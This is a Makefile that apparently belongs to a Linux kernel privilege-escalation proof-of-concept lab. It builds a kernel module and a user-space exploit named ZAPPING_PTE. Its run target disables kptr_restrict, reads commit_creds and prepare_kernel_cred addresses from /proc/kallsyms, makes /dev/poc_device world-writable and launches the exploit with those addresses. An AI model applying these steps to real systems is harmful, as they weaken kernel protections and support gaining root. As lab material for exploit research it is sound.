obj-m += kernel_module.o

KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)

ccflags-y := -std=gnu99 -Wno-declaration-after-statement

COMMIT_CREDS := $(shell sudo grep " [Tt] commit_creds" /proc/kallsyms | cut -d' ' -f1)
PREPARE_CREDS := $(shell sudo grep " [Tt] prepare_kernel_cred" /proc/kallsyms | cut -d' ' -f1)

all:
	@echo "[0x1] Compiling Kernel Module..."
	$(MAKE) -C $(KDIR) M=$(PWD) modules
	@echo "[0x1] Compiling User-space Exploit..."
	gcc -o ZAPPING_PTE source_code.c argparse.c -lpthread

clean:
	$(MAKE) -C $(KDIR) M=$(PWD) clean
	rm -f modules.order ZAPPING_PTE

run: all
	@sudo sh -c "echo 0 > /proc/sys/kernel/kptr_restrict"
	-sudo rmmod kernel_module 2>/dev/null
	@echo "[0x1] Loading Module and Setting Permissions..."
	sudo insmod kernel_module.ko
	sudo chmod 666 /dev/poc_device
	@echo "[0x1] Symbols Resolved: CC: 0x$(COMMIT_CREDS) | PC: 0x$(PREPARE_CREDS)"
	@if [ -z "$(COMMIT_CREDS)" ] || [ -z "$(PREPARE_CREDS)" ]; then \
		echo "[0x0] Error: Could not resolve symbols. Check kptr_restrict!"; \
		exit 1; \
	fi
	./ZAPPING_PTE -p /dev/poc_device -d 0x$(COMMIT_CREDS) -a 0x$(PREPARE_CREDS) -r 

load: all
	sudo insmod kernel_module.ko
	sudo chmod 666 /dev/poc_device
	sudo dmesg | tail -n 15

unload:
	-sudo rmmod kernel_module
	sudo dmesg -c

log:
	sudo dmesg -w | grep -iE "poc|PTE|zapping"